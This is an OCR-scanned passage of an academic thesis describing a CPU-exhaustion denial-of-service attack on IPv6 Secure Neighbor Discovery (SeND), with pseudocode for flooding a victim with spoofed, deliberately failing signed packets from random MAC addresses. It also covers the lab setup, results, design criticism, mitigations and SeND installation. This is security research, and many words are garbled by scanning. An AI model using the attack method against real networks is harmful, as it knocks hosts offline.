vary, but the maximum observed interval between dé@mmunicating hosts without a
NS/NA exchange was about 20 seconds in standarftjocation. For such an attack to
work there would have to be about 450*20=9000 &taprocesses running, making it

very difficult to carry out.

This attack turned out to be much easier to cauytban originally planned,
mostly due to the relationship between the SeNDmd@eand the operating system’s
Neighbor Cache. If any of the SeND checks fai packet is silently discarded and it

never continues with the normal ICMPv6 processiagd thus has no chance of
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becoming a valid Neighbor Cache entry. If the Seidfication succeeds, but any of
the ICMPV6 checks fail, the MAC/IP entries wilsalnever become an entry in Victim’'s
Neighbor Cache. Thus the same bad packet woulddpected every time it arrives to
the Victim, and one can ignore the cached timeeguirement, significantly bringing

down the number of attackers needed. SeND docati@mtand code do not indicate
keeping track of bad entries. Thus the daemorbedorced into a continuous barrage of
checks, rendering the ‘grace period’ cache of saddresses completely irrelevant.
Without keeping track of bad requests, the daenftecterely works in a contextless

mode in which every packet must be inspected, laisdg exactly what this attack needs

to run successfully without high numbers of attagkecesses.

The peculiar aspect of this attack is that while #ttack is based on spoofing
packets, each packet must be less than perfecthpfeph to avoid the protection
mechanisms. The SeND designers protected theqmicgainst packets that are trivially
wrong, or perfectly valid, but have not considetkd behavior of their daemon when
processing a partially correct packet. Normallpaaket can be either correct or not, but
the partial correctness shows up only because dfi-stage processing with various

costs at each stage.

According to the benchmarks discussed earliehenorst case it will take about
450 processes for the attack to succeed. Whilentimeber is not as high as originally
thought, it is still not a trivial problem to firgpawn, and then maintain 450 packet
blasting sources at high rate on a single compuf#ne library used for creating the
almost-perfect-but-still-failing SeND packet is nbread-safe, forcing the attack to be
written using the more CPU-intensive forking insteaf threading. Using a simple
debugging code it was clearly visible how slow thée at which new processes was
when going past only 30 processes. The goal of g@esses running from one
attacking machine seemed distant, but the code wwuatten with flexibility and
experimentation in mind, allowing quick parametbamges, in case these calculations
are not a close estimation of SeND’s capabilities.
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The time needed for creation of each packet wamdihed by using the fact that
SeND is unable to maintain MAC Layer security. Tdwdire attack used one key, the
creation of which is the slowest part of the ensittack. The program uses this single
key to create CGA addresses and populate the CGt#orOffields. The ICMPv6
checksum gets calculated and set, and the RSA @edryportion of the packet is filled
with random values. Finally, the IPv6 packet isistoucted, and the spawning of the
child processes begins. Every separate child psoeserts the previously created IPv6
packet into an Ethernet frame with randomly assigi&AC addresses. Then the entire

frame is replayed an arbitrary number of times.

The pseudo code for the attack program is very lgimp

Key =thc_generate_key(key_length)
CGA_options =Thc_generate_cga(prefix,key,cga);
Fork_children_nodes();

Foreach children_node {

srcMAC= randomize_MAC();

dstMAC= targetMAC;
Pkt=thc_create_ipv6(IPv6_options)
Pkt=thc_add_send(pkt, CGA_options);
Thc_generate_pkt(pkt, srcMAC, dstMAC)
Thc_send_pkt(pkt, 10000000);

Exit(0);

}

Thc_generate_key generates public key of requésteyth.

Thc_generate_cga generates set of options needaeektie a CGA Option.
Thc_create_ipv6 generates an IPv6 packet witheméssary fields.

Thc_add_send generates an ICMPv6 packet with adkssary ICMPv6, ND and SeND
options. The RSA option is filled with random cheters as it’s intended to fail.
Thc_generate_pkt generates an Ethernet frame dadhes the IPv6 and ICMPv6
portions of the packet to it, creating a complesdid frame.

Thc_send_pkt sends out a frame on the appropntgdgace.

Random MAC'’s should defeat attack detection haasst The NS packet forces
all nodes, hosts and routers alike, into processing long key forces the Victim to take

a long time to perform the RSA verification. Tlade number of packets significantly
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lowers the probability that the SeND daemon wilbgeass an actual valid ND request

among the thousands of other packets queued up poocessed.
E. LAB EXPERIMENT METHODOLOGY

Initially, the Victim machine was supposed to beddaer and slower machine,
but that made it difficult to monitor other aspeast the machine while under a
cryptographic DoS attack. Therefore a brand newhin@ was used, with a plan to
artificially limit the amount of CPU cycles availabto the SeND daemon while still
being able to run a variety of utilities monitorimgtual memory, CPU usage, bandwidth,
sources and numbers of interrupts, and other statistics. To simulate these slower
processing speeds the SeND daemon was configutbdd@®6-bit keys. Longer keys
also had a side-effect of increasing the packet, sivhich can potentially affect the
number of packets during an attack on a media aviilmited bandwidth. A full SeND-
enforced packet built upon a 1024-bit key was ab&G0t bytes, as it must contain the key
itself, plus the encrypted version of the digit@nsture, which contains the public key
hash, both IPv6 addresses, and almost all oth&tsfi'gom the ICMPv6 and SeND
portions of the packet before the RSA Option. karkeys result in even larger packet
sizes; for example, a typical SeND packet builtua a 4096-bit key was about 1280
bytes long.

Both packet size and the computational intensitthefbasic operation should be
a concern for networks with limited bandwidth, evites with limited processing power.
In general, networks with no media access cont®lad risk as it would be easy for an
attacker to flood the network with large, expendivg@rocess packets, consuming
bandwidth and electrical power, resulting in limgithe responsiveness of nodes on the
network. For example, if media access controlotsused, a network of mobile wireless
devices needs a good mechanism to establish algduem and integrity with no central
Certification Authority. In theory, SeND would lze great solution for such a case.
However, due to frequent exchange of large pacl&adlD would greatly increase the

power consumption of such devices.
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F. NETWORK SETUP

1. The Victim

This machine was a FreeBSD 6.2-STABLE installatiath SeND version 0.2.
Originally it was set up as a router, sending oatiter Advertisements. The FreeBSD
Handbook had some suggestions to make sysctl athuss to improve the host's
capacity to handle high bandwidth and high rateincbming packets. No changes
pertaining to IPv6, ICMPv6, and NDv6 parametersenmade, So as to preserve the most
stock-like behavior of the target machine. SeNDB wampiled with only the minimal
options required to compile on FreeBSD with fulbdgging capabilities. The kernel

was recompiled with options required by the SeNBndan.

Since this is just a proof of concept, and theiwictnachine has a very fast
modern Intel Core 2 Duo CPU, the CPU processinggpndwad to be artificially clamped
down to get around bandwidth limitations. For tpigrpose, the SeND daemon was
started with a low scheduler priority value (“ni¢geendd”). In addition, five copies of
“cat /dev/urandom | bzip2 > /dev/null” were runparallel with the SeND daemon to
keep both cores of the CPU busy at all times. Thmbination of the parameters
described above was the minimal amount of slowdeaguired to DoS the SeND

daemon.
2. The Client

This machine was also a FreeBSD 6.2-STABLE indtallawith SeND version
0.2, just like the Victim machine, with the samguatiments made.

This computer was used exclusively to ping the iXictas a measure of
connectivity. Definition of DoS for this exerciseeant that this machine was unable to
ping the Victim. Simple scripts monitoring the Nlebor Cache were run to monitor the

changing states of hardware address entries d&3a8eattack was launched.
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3. The Attacker

This machine was a 2.8GHz Pentium 4 running Open30sl with a LINUX
2.6.16 kernel. Sysctl adjustments improved hastgacity to handle high bandwidth and
high rate of incoming packets. No changes perigirto IPv6, ICMPv6, and NDv6
parameters were made, so as to preserve the nua¥t-lste behavior of the target
machine. SeND was compiled with only the minimpti@ns required to compile on
Linux with full debugging capabilities. SeND wased only for the initial testing of
connectivity to the Victim machine. Once that vessablished, the SeND daemon was
disabled, and this machine was put in ‘stealth’ ejawt requesting or accepting Router
Advertisements, and it was set with a fixed IPv@rads so it would not go undergo any
autoconfiguration processes. This machine was tesddvelop the attack code, and then

launch it.

G. TEST RUNS

The procedure for the experiment was as follows:
. All computers were online and on the same netwedoeent, with Victim

and Client running SeND daemons and having fulheativity.
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Figure 12. Monitoring setup on the Client.

. We enabled all monitoring scripts (ndp, systat mtiple modes) on both

Victim and Client. Client also runs WireShark, rtoring the NS/NA activity.

54



Load Aw RERRARARRARER NN

Lo T R b S TV s I
ge  LLLELETETTEEEEEE TR T EEET T

s 0 s () a4

Networlc Traffic_
Todmtfodihn ot

Figure 13. Monitoring setup on the Victim
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Figure 14. More monitoring utilities on the Victim.

. Client runs ‘ping6 victim%bge0’ command, sendingEeho packet once

per second to the Victim.
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Figure 15. Full connectivity between Client and Victim.
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. This view provides us with packet counts and sumgmas well as
sequence numbers allowing us to pinpoint in timenvthe Client lost connectivity with
the Victim.

. The Attacker runs the DoS, flooding the Victim wiNls requests.
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L.oending 3., .5ending 9., .Creating thread 9

f. .. Bending ..ooending 10, . .Creating thread 14

. .eoending

.oending 1Z. . .5ending 13...5ending 15...Creating thread 19

Figure 16. Launch of Denial of Service attack

. The Victim starts processing the NS requests ametlguiscarding them
as the RSA signature fails the verification proceAs more and more NS requests come
in, they overwhelm the CPU capability of RSA verdiions, resulting in dropping

incoming packets.
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Figure 18. Attacking packet fails the RSA signature test
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Figure 19. Interruptions of service
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Figure 20. Interruption of service.

. The REACHABLE state timer on the Client machinerdements to zero
on the Victim’s address entry, sending an NS toagetipdate on the hardware address of
the Victim’s IPv6 address. His packets get droppgdhe overloaded Victim. After a
few more tries, the Client loses connectivity te Wictim completely, and the Victim’s
Neighbor Cache entry oscillates between a completeh-existent and an incomplete

state when the ping command requests an addredsties and fails.

Figure 21. Victim’s entry is in INCOMPLETE state, preventing connectivity from
Client.

. The Attack program is set to a given number of psses and packets.
When it completes its run, the Client computer sgstully performs a NS/NA and

proceeds to ping successfully again.
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Figure 22. Resuming normal connectivity after the end of the @ack.

Figure 23. Resuming normal connectivity from Victim’s perspecive.

H. RESULTS

The Neighborhood Cache rules [1], [10] call foriamial NS/NA exchange when
a host tries to contact another host. The targst isathen inserted into Neighbor Cache
in REACHABLE state for a maximum of 40 seconds befanother mandatory NS/NA
exchange. Therefore, in a normal operation with twasts communicating, SeND re-
verifies the Neighbor Cache entries on an averdgmeoe every 20 seconds. When the
attack was initiated, the Client had no knowleddetl®e Victim computer being
overloaded with SeND computations. Attack packetstinued to arrive, and the Victim

was not able to allocate enough CPU cycles to #id¢l5daemon. After 20-30 seconds,
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the Client would lose connectivity to the Victirithe client then attempted to re-connect,
with a default assumption that the neighbor wdktkgre, just not responding. The entry
for the IPv6 and MAC address of the Victim in thdéie@Gt's Neighbor Cache first
degraded from REACHABLE to DELAY, then PROBE, andemtually the
INCOMPLETE state. Here's a progression of the Nbagy Cache states at the Client

when the attack was launched:

Figure 24. First stage of reconnection attempt--DELAY state asigned to Victim.

Figure 25. Second stage—PROBE state assigned to Victim’s entry

I a
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Figure 26. Third stage—INCOMPLETE state assigned to Victim’s atry.
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Figure 27. Fourth stage—INCOMPLETE stage timed out, about to emove the
entry.

Figure 28. The Final stage—the entry for the Victim removed, H attempts of
connectivity failed.

When the state changed to INCOMPLETE, the Link lLagedress in the
Neighbor Cache changed to incomplete as well, ArdQlient started to aggressively
send NS packets, trying to resolve a hardware addia the pingé command. At the
same time, the ECHO packets stopped, as the Clahino knowledge of the hardware
address of the Victim to send the ECHO packets tipon cancelation of the ping
process, the Neighbor Cache entry of the Victinapleared completely.

l. INTERPRETATION OF MAIN RESULTS

This experiment was successful in achieving itslggoarhe ping packets were
going across the wire during the first stage ofattack without any loss, indicating that
the bandwidth and physical connectivity were firhe Client has not lost connectivity
to the Victim until it made an attempt of performithe periodic Neighbor Discovery.

Regulating the CPU power available to the SeND gsscon the Victim allowed or
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disallowed the ND exchanges to proceed as intenBethning SeND in debugging mode
with “debug_on send crypto” command shows RSA digeaverification failure with
every processed packet. When attacking the daewitbn1024-bit key, SeND reported
250 to 350 signature failures per second. The samtaek, run with a 4096-bit key,
generated only about 15 to 25 signature failuresspeond. Computational power and
key length used were the only deciding factors betw enabling and disabling

connectivity from Client to Victim.

There is no silver bullet in protecting the NeighbDiscovery protocol.
Employing cryptography prevented some of the ofdcis, but it also provides attackers
with an easy interface to implement a whole newg<laf attacks—CPU exhaustion. A
TCP SYN flood attack is a conceptual cousin to éxperiment. Our attack is similar by
starting a handshake, making the Victim performrapens that will not result in
anything, but already allocating resources to dédi a client. If a handshake is more
than a simple challenge-response scheme, a chebelieved by default to have good
intentions, as the target automatically allocag=sources to deal with such a client, even
before identity, authentication, integrity, or amtlzation have been dealt with. This can
be exploited, whether by memory (Neighbor CachddJUQCGA and RSA checks in
SeND) or kernel resources (TCB’s in the case oAl 8ood). Until proofs of identity
and intentions are considered a solved problem, 8itegks will persist, and creating
temporary mitigations will only give attackers maypportunities to be creative about
their exploits.

Other, bigger issues need to be brought to lightvad. The security of the
asymmetric cryptography is based on protectiorhefgdrivate keys. Clients authenticate
themselves by proving they can sign packets widir thrivate keys. The integrity of
client’s key is in the client’s hands. A securéwwk should not rely on the integrity of
its clients. If the clients connect using a netwarith no Media Access Control, no
statements about the integrity of clients can beenaWhen a compromise of a single
client occurs, an attacker has a perfectly leghbs&eys trusted to communicate with
routers and other clients. Lack of a central @eatiion Authority only exacerbates the

problem, when particular keys or certificates carberevoked.
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In general, security in a zero-knowledge, zero-gumhtion system seems
impossible. Servers and routers require havingaigknowledge of who is joining the
network. This limits flexibility and eliminatesétpossibility of zero-configuration, as an
inventory of ‘good’ computers would have to be teela maintained and the mechanism
providing the proof of identity would have be flask as well. Without that a priori
knowledge, anyone capable of faking SeND packetsemeugh can claim identity and
possession of arbitrary keys, eliminating any drgity assumed by the authentication
process. A reliable authentication scheme at minimmequires a Certification Authority
(CA), and placing root certificates on the clieohputers. Clients then can trust only
specific routers, but other hosts on the netwatkistve to be verified against the CA.

1. What Does SeND Really Provide?

Not much, or at least not as much as it claimd\NC5binds a proof of identity (an
arbitrary, but corresponding key pair) to an IP@@r@ss. Such binding provides no real
authentication. The only fact we can establisth& whoever owns an arbitrary pair of
keys can produce valid SeND packets and send tham & certain IPv6 address. The
receivers do not really know who it is that has kiegs, and do not know where these
keys came from. The keys by themselves do notepemwthing either. Even if SeND
implementation provided us with a mechanism toesttseen-before” key pairs for a
longer duration, it would only provide us with gaak detection at best, as routers or
hosts would know that a certain IPv6 address is signing packets with a different key
pair that happens to generate the same IPv6 add8ess$D in its current state is nothing
more than a short term hijack prevention mechanism.

SeND also has functionality to protect the routbssmeans of an a priori router
certificate, or an entry for a trust root. Theyrevaot investigated in depth in this thesis,
as they violate the initial principle of autoconfrgtion with zero a priori knowledge.
The faults discussed in this thesis would stilllggp the certificate protected routers, as

the protection is only one way—it authenticatesrthgers, but the hosts themselves are
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still completely unauthenticated. As such, thesst$ can launch attacks like the one
described in this thesis against the "protectediters, causing havoc not on a host level,

but network-wide.

Bigger questions can be asked about the usefuloksm autoconfiguration
protocol that cannot even provide an address fdDNS server, especially in the
networking schema where the networking addressxgessed with 16 hexadecimal
digits. SeND while novel and creative, is borderliuseless and severely unsecure.

SeND fixes some, but creates new, unavoidable $gcssues.

2. Ignorance by Design

At first, using asymmetric cryptography seemed ® & good approach to
preventing DoS attacks as it demands a private skgyature, but verifying it with a
much less computationally intense public key. Thgcally this holds true, but nothing
stops an attacker from replaying a once creategages Attackers should not be able to
do that, because it shifts the burden of computabeck onto the receiver, nullifying the
benefits of using asymmetric cryptography. SeN@sdoot keep track of machines
attempting to connect, thus it is unable to prexeesimple replay attack. If SeND did
keep track of bad attempts, it would be a trivigbleit to generate random entries faking
a ‘new’ host on the network, and eventually overpgage the internal buffers for such a
list. Not only does SeND not do that, but the sigunechanisms it provides are so

computationally expensive to run that they can fionally disable the machine.

Another big design flaw is putting the SeND clientine with the regular TCP/IP
stack. Intercepting a packet and modifying it be fly is an elegant approach, but it
takes away many tools and stock functionality tbame with letting the Operating
System do its job. The SeND software and the kelo@ot really communicate. SeND
is an external filter, and it functions as an egien of the stock functionality. For
example, enabling net.inet6.icmp6.nd6_debug=1 erMilcstim machine resulted in zero
messages with SeND guarding the perimeter whiléamd of packets were attacking it.

No ICMPv6 messages registered on the “systat —iémphitor either. The Neighbor
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Cache table was never populated. The only wayéo @otice the attack was to monitor
the network bandwidth utilization, number of integts and CPU utilization as they all
increased significantly. This sounds positive luis not. It means all the security
mechanisms that come with a native IPv6 functiopalire performed only for SeND-
verified packets, potentially exposing hosts toeotattacks. To prevent such attacks one
must not forget to include all the security mecbkars that were there before
augmentation. If the augmentation implements &lthe stock functionality, then it
becomes a replacement, not an augmentation.

Debugging and monitoring tools are mostly used &aldwith problematic
situations, and not meant for time of intended apen. Moving the entire security
process to what basically is an add-on, forcesesystdministrators to use a whole new
set of utilities to deal with debugging ICMPV6 patk as the stock ones rarely see any
bad traffic. SeND’s implementation gives the ingsien of an elegant and clean design,
but after some logical analysis and empirical tggtit turns out to be a part of the
problem, not the solution.

3. Implementation Faults

The implementation itself, albeit an early versishpws that performance was
not a primary concern of the implementers. ForngXa, every incoming packet is
verified against all SeND “contexts.“ A SeND corttag an internal data structure
responsible for storing information describing theerface, options, prefixes, and keys
used to verify a packet. If SeND was configurethvd0 different contexts (i.e., serving
different prefixes), an incoming packet would gootigh 21 verifications. The one extra
context is created for every incoming packet beeatugrovides another key and a prefix.
Even though most of the verifications fail quickprefix, or a CGA check if the prefix is
correct), every verification adds unnecessary cdatfmn. This is a probable cause
behind the much smaller than expected number dgtacequired to overwhelm a host.
In debug mode it is clearly visible that the daemattempts to verify each packet against
a context that is trivially incorrect. Hopefullthe function governing packet checking

will be more efficient in the next version if thathors decide to further develop it.
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One of the biggest obstacles of creating a SeNBgtagas to generate a valid
timestamp, as the implementation of SeND doesaltmw the specifications. [2] states:
“Timestamp Field--A 64-bit unsigned integer fieldntaining a timestamp. The value
indicates the number of seconds since January7D, I®:00 UTC, by using a fixed point
format. In this format, the integer number of se®is contained in the first 48 bits of

the field, and the remaining 16 bits indicate thenber of 1/64K fractions of a second.”

The number of 1/64K-th in SeND is calculated ascusd. This is equivalent to
usec/16. Usec is defined as a long (32bit onnggilatforms) value, thus performing a
BITWISE SHIFT RIGHT 4 on it yields a 28bit valuehweh can be interpreted as a count
of 1/16" of a second. Not only will the 28-bit value nabperly fit into a 16-bit area
that’'s reserved for the microsecond portion in timestamp field, but the value it
produces is actually wrong. It seems the impleemsnineant to shift 16 bits (division by
64K) which can be interpreted as counting 1/64Kitthe usec field, as well as yielding
a 16-bit number needed to be inserted into the SahBstamp option. Upon much
debugging, the library code used for the attack maslified to incorporate this wrong,
but necessary code in the name of producing arckatthat works against real,
unmodified SeND daemons. The only reason unmatifieemons can currently

communicate is that they all agree to do the sam@gwthing the same way.
4. Possible Mitigations

Protection of the Link Layer could have been a ialugart of strengthening the
protocol, yet SeND completely ignores it. The daers chose not to use MAC as a part
of their security bindings, even though this prolds designed to deal with hosts on the
same network segment, stating that MAC Layer ptmteds beyond the scope of their
project. The entire ND protocol is about mappiRgad to MAC addresses, in addition to
already breaching the ‘separation of layers’ ppteciby including SLLA and TLLA
(Layer Two addresses) in ICMPv6 (Layer Three) ptck#f the MAC address was a part
of the CGA generation, it would prevent attackeosT replaying the same packet from
randomly generated hardware addresses. The cotigmalacost of a CGA generation,

especially when requiring non-zero SEC values, dautrease the time so significantly
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that MAC spoofing would not be a viable attack wect With that in place, a cache of
sources attempting bad verifications does not aatimally become another potential
resource exhaustion opportunity. Attackers woulel forced to use much more
computing power, and they would be easier to defagainst. Of course this trick is still
not a real solution; but it would further mitigate possibly even defeat the attack

developed as a part of this thesis.
J. OTHER OBSERVATIONS

SeND needs at least 15% of the Intel Core 2 Du6@k&’s computing power to
be able to properly handle a SeND-augmented NS/&¢hange with another client. Re-
running the experiment on a 100Mbit and 1000Mblit @uplex switches resulted in
sustaining about 11MB/sec, and 113MB/sec of traffispectively. In both cases, the
CPU % utilization required for DoS was the sametlaer indication that the attack was
not bandwidth saturation, but a CPU processing limi

A completely unintended, but interesting event leaygal during one of the longer
lasting experiments: the SeND daemon on the Victode failed with a SEGFAULT
signal, suddenly allowing a barrage of the spogfadkets to reach the native TCP/IP
stack instead of being filtered out by the usedlarcurity guard. The Neighbor Cache
was populated with a massive amount of fake entri€his caused the kernel to try
verifying each of these entries, as well as recgydine malformed packets in the syslog,
causing a massive slowdown of the Victim compusetha syslog daemon committed the
alerts to the hard drive. The Client which wagéhe test the reachability of the Victim
computer went into an infinite loop of sending @&ND-augmented NS packets with no
replies. The Neighbor Cache entries were alwaysitmi@d to learn about the nature of
the consequences of the DoS, which had the IP ssldrethe victim reappearing every
few seconds in the INCOMPLETE state, just as itaiidng the actual DoS attack. This
means the DoS originally written for SeND-enabledth also works against the regular,
SeND-less IPv6 clients.
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Normally, verification of correctness of some sdégurfeature is a single
operation. For SeND, it's a multi-stage checkimgcess, with significantly varied costs
of the multiple stages. Some information is hasbéter information is encrypted with a
public key. SHAL hashes are three to five magesutaster than decryption using a
private key. Some checks need to be executed yneredstablish whether two entities
are identical or not (checksums). Other portiohghe packet (i.e., the public key)
actually need to be delivered in full. The splitduties between the CGA and RSA
portions could have been improved by careful exation of needs of the protocol. As it
is now, to find out the MAC address of the sendee, daemon must perform the full
decryption of the RSA Option, while MAC needs toibeluded as a part of the CGA
creation, allowing for detection of MAC spoofingthut wasting extra magnitudes of

computation.
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VI. CONCLUSIONS AND FUTURE WORK

The biggest issue with the idea of Cryptographyc@enerated Addresses as a
security measure is that it is based on the spéetheo computers currently in use.
Normally the natural computing power increasesdafeated with ever-increasing key
lengths. In the case of CGA’s, the limit is in B (59 effective) bits used in the IPv6
address. IPv6 was designed to last at least fead#s, just like IPv4 did, and if in this
timeframe computers become fast enough to cradkiti®ash values, all CGA schemes
will fail, as there is no possibility of expandiriigeir size without changing the entire

IPv6 address space.

SeND is a failure on both practical and architegtutevels.  While
implementation sins can be easily forgiven duehw darly version of the code, design

errors cannot be eliminated with clever programntriaks.

SeND also has some impractical requirements. it$ iole to enable new hosts to
securely join the network by providing them with thle information needed. However,
to do that, it requires a reasonably synchronidedkcbefore it attempts talking to the
SeND-augmented host. To have a synchronized eltttiout extra hardware (i.e., GPS-
based time synchronization), a host needs a validork address and a default router,
which SeND should provide given a good clock syonfmation on the client. It is a
classic chicken-and-egg problem, solvable only wélaxed requirements for how far
apart the clocks of two hosts can be. To make susystem practical, the allowed time
discrepancy would have to be so large it would mieetimestamp checking process
irrelevant. Also, because the timestamp has tadmsl for calculations, it cannot be
hashed before sending it out, and SeND sends filas text. This is a potential
information leakage, allowing attackers to leara slystem time of a host. Regardless of
that, a timestamp is the weakest form of a noneé,as such it is peculiar to see it used

in a scheme with full support for a regular nonce.
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There are many possible future projects based ignthiesis. A good practical
exercise would be to leverage the Open Source eafiSeND, and work with the
existing code base, implementing multiple mitigaio While the concerns raised in this
thesis suggest that there is no way of completebuisng this protocol, it would be
interesting to see how many attacks can be mitigads®d which ones will remain

undefeated.

Even though 15% of the available CPU time was theallimit at which the DoS
occurred, the probability of a NS packet gettinggessed also seemed to be very
sensitive to the priority level at which the SeNBechon was running with. The lower
the priority, the longer the DoS lasted. With theent flurry of scheduler development,
it would be pertinent to see if, and possibly hoiffedently the new schedulers would
cope with CPU-bound DoS. Linux has two new schedulthe ‘staircase’ scheduler
developed by Con Kolivas, and the Completely Faihefuler, by Ingo Molnar. In
FreeBSD, the ULE scheduler that's been the defaufew years have come under much
scrutiny, and there are proposals to replace h ait older, but apparently more robust,
KSE scheduler. In all these cases, the only thegmiired to do would be to recompile

the newest kernel sources with the appropriateogtiand rerun the experiment.

Another interesting question raised was why it tanky 15 to 25 4096-bit
packets per second. The generated packets weee fudly legal, therefore they should
never trigger a reverse NS request, which is tbevest operation for the Victim to do,
which would be the easiest explanation. It wowddbbst to run the SeND daemon inside
of a profiler, and see which functions take upriest time to process. Just by observing
SeND'’s behavior in the debugging mode brought uattention that every new address
is evaluated against every context possible, idsbégust being verified against the most

likely target first: the context of the same netkvprefix.

The most important future project would be to thistattack on hardware
implementations of SeND, and test it against re@vork hardware. This seems highly
unlikely to happen as there has been very litlle &dbout further development, or any

integration efforts into the IPv6 protocol suite.
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Implementing a different sort of asymmetric cryptqghy would also be an
interesting exercise, as it would have to explotperties of different cryptographic
protocols with respect to key size and speed ofatjpd on the platforms SeND would
be most likely to be used on. Elliptic Curve Cogrtaphy (ECC) seems to be a logical
choice here, as it requires much smaller keys (20UBSA keys as compared to 224-bit
ECC key (NSA website)), allowing for much smallexckets, and potentially different
processing speeds. The SeND protocol has beenemrgd to use a different encryption

schema, and it should not require a large redesign.

Further development of the parser dealing with thain configuration file
(“sendd.conf”) options would be helpful. There ardot of basics options that are not
implemented yet. Also, adding a simple configunmatfield not only for minimum but
also for maximum key length would help as welltls would allow administrators to
tailor the level of cryptography depending on theWpower of the hardware SeND
would run on. This attack will not work on a veigst computer or using short keys.
Another potential mitigation technique would be fbe requests to be performed with
much longer keys than the resulting reverse auttaimn. Again, all the efforts
influencing the discrepancy in the amount of corapah required by the two sides are
irrelevant when lack of Link Layer security allovedtackers to create packets with

different addresses of origin.

IPv6 protocol promised a stateless autoconfigunateamlessly integrated into
the addressing scheme, and it achieved that. és#me time, the security issues (no
authentication or authorization) and practical @ns (no provision for DNS server)
make it a bad fit for modern day LAN’s. Statefult@configuration, most likely
DHCPv6, will be as commonplace as DHCP daemonsoareternal IPv4 networks.
However, the security issues will remain, as gddiatifying nodes guarantee no
authentication. Central Certificate Authority sesetm be the only the only solution, but it
only allows the attackers to focus on a single @argWithout Link Layer security,
creating or spoofing new bad phantom hosts is eBsylding security schemes on layers
above the Link Layer only limits the range of akiaas the attacker has to be on the same

network segment as the victim. With perpetuallpanding security perimeters and the
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LAN's incorporating VPN'’s and wireless networkspper internal network design and
segmentation will become more important than ewdfore, and no longer as only a
performance consideration. In today’'s networkgpppr segmentation should be a
fundamental security building block as an implemagoh of the Principle of Least

Privilege and Defense in Depth.
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APPENDIX A: SEND INSTALLATION AND OPERATION

Prerequisites and platform dependent procedures

All these steps must be done as the superuselatpurs as “root” or “su — root” if
logged in as a non-privileged user. Full developh@vironment is required, including
gcc, lex, yacc, binutils, and autoconf packagesanywimodern Linux default installations
do not include kernel sources, development libsaroe header files, thus installation of
SeND is recommended on a full installation, naghtiveight desktop configuration.

Linux:

SuSE 10.1 came with all the kernel modules thatCsaleds compiled, but they
are not loaded into memory. To do so, place “moder ip6_queue” in
“/etc/init.d/network” to automatically load it ug avery bootup.

Also, make sure that packages containing all regliibraries are loaded on the
system (readline, libdnet, libipg, ncurses, OpenSSIf they are not installed on the
system, they must be provided before the compilatio the compilation will fail. SuSE
10.1 did not come with the libipq libraries, whigtust be downloaded and installed from
http://www.netfilter.org The Installation is a straightforward Unix “.fd@ure; make;

make install” procedure. What might be not strdmfward is the placement of the
additional libraries. In case your Linux distrilmnt places them in a nonstandard
location, reinstall them in proper locations, oeate symbolic links to the actual header
files and libraries.

For Linux, SeND creates startup/shutdown scriptserftdd”, “snd_upd_fw”,
“snd_fw_functions.sh”) that should be placed in stendard “/etc/init.d” directory. This
provides a nice integration of the SeND daemon tinéosystem, with proper checking of
prerequisites on startup, and a cleanup on shutd@mLinux, the firewall rules must be
adjusted before startup and shutdown of SeND, tawdlinot run without these rules set
up properly, thus use the official scripts to startl stop the SeND daemon. You might
want to alter the invocation of SeND in the schifgs if you want to run them in the
debug mode.
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FreeBSD:

Libdnet is usually not installed by default, themef it must be installed from the
updated ports repository (e.g.: “cd /usr/portslibethet; make install” or any other ports
management tool)

FreeBSD also does not provide the necessary NETGRAElities in the kernel.
Instructions on recompiling the kernel are provided-reeBSD Handbook, Chapter 11,
Section 8, available online at__http://www.freebsd/doc/en_US.ISO8859-

1/books/handbook/kernelconfig.html

For the purpose of installing SeND this list ofiops must be added at the end of
the kernel configuration file:

option NETGRAPH

option NETGRAPH_BPF

option NETGRAPH_ETHER

option NETGRAPH_SOCKET

The stock kernel configuration is in “/usr/src/$$86/conf/GENERIC”. It is best
to make a copy of it “cp lusr/src/s\a86/conf/GENERIC
lusr/src/sysB86/conffMYKERNELL1”, and then alter the new configucat's “ident”
field in with the name of the new kernel (MYKERNEL#®f this example). At this
moment you must compile and install the new keagebrding to the procedures outline
in the FreeBSD Handbook. For a fully automaticrtstaf the SeND daemon on
FreeBSD6.x, you also need to add “sendd’="ON” iat¢/rc.conf” and create a startup
script using template code provided with FreeBSInhce the new kernel is running and

the required libraries are installed, you can pedd® install the actual SeND software.

SeND installation:

1. Download SeND from http://www.docomolabs-

usa.com/lab_osrc_downl.htmVhich contains very helpful User Guide, also aalai

online at_http://www.docomolabs-usa.com/pdf/SENDet@uide.pdf
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2. Move the downloaded files to a parent directory rghgou want the
SeND package to be installed, “mv send_0.2.ziglacal/; cd /usr/local/”
3. Unpacking SeND will automatically create the dicets necessary, and
place all the files within this structure “unzigehd_0.2.zip"
4, Go to SeND’s directory “cd /usr/local/send_0.2” amdt the desired
options in “send_0.2\Makefile.config” The importaptions here are:
a. “OS=linux” (or freebsd) depending on your platform
b. “Prefix=/usr/local/send” pick the path for the arres and libraries

to be stored

C. “USE_CONSOLE=y” it will help with debugging, highl
recommended

d. “DEBUG_POLICY=DEBUG” it will help with debuggindhighly
recommended
5. Compile SeND with a standard “./configure; makeakm install”

procedure, files will be placed in the directorysdgbed by the prefix command in
Makefile.config as described in the previous point.

At this point you have all the binaries, utilitiesnd libraries placed in
“/usr/local/send”. If SeND compiled without probis it is a good sign that it found all
the necessary libraries. The best way to see olwezst library dependencies is to run
“Idd /usr/local/send_0.2/sendd/sendd” as it wilbwhpaths of all libraries. If an entry

does not have a path, the library is either missimig a unexpected location.

Configuration of SeND

Make a directory storing all the keys and configiorafiles in the standard /etc/
directory “mkdir /etc/send”. The main SeND configtion file is expected to be
“letc/sendd.conf’. This file contains the locasomf the keys, location of CGA
parameter specifications, and a few options. Kieemind that as of version 0.2, the
number of options configurable through this filevisry limited comparatively what is

described in the User Guide. The parser file (sén2/send/params_lex.I") indicates
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that it only recognizes the absolute minimum ofi@p needed for SeND to operate. |If
you need to change other options, they will havéddhardcoded into source files and
recompiled. A reasonable configuration of “/etaks@ conf” might look like:
named default {
snd_cga_parans /etc/sendd/ cga. parans. der;
snd_cga_priv /etc/sendd/ key. pem
snd_cga_sec O;

This will require the CGA parameters to be stomed/etc/send/cga.params.der”
and the keys are stored in “/etc/sendd/key.pentier@fore we can proceed to create keys
needed to operate using the command “cgatool —Be#096 -k /etc/sendd/key.pem -p
2005:: -0 /etc/sendd/cga.params -s 0”. This conthvaili create a 4096-bit key for the
interface on 2005:: prefix with SEC value of zeaod placing the key file and the CGA
parameter file in agreement with the settings ietcfsendd.conf” from the example
above. It will also print out a new CGA addresstibout, to be used as the IPv6 address.

If you need to create a new CGA address usingdhekeys as before, indicate
which keys should be used with“-k key.pem” and #yea new CGA parameter set
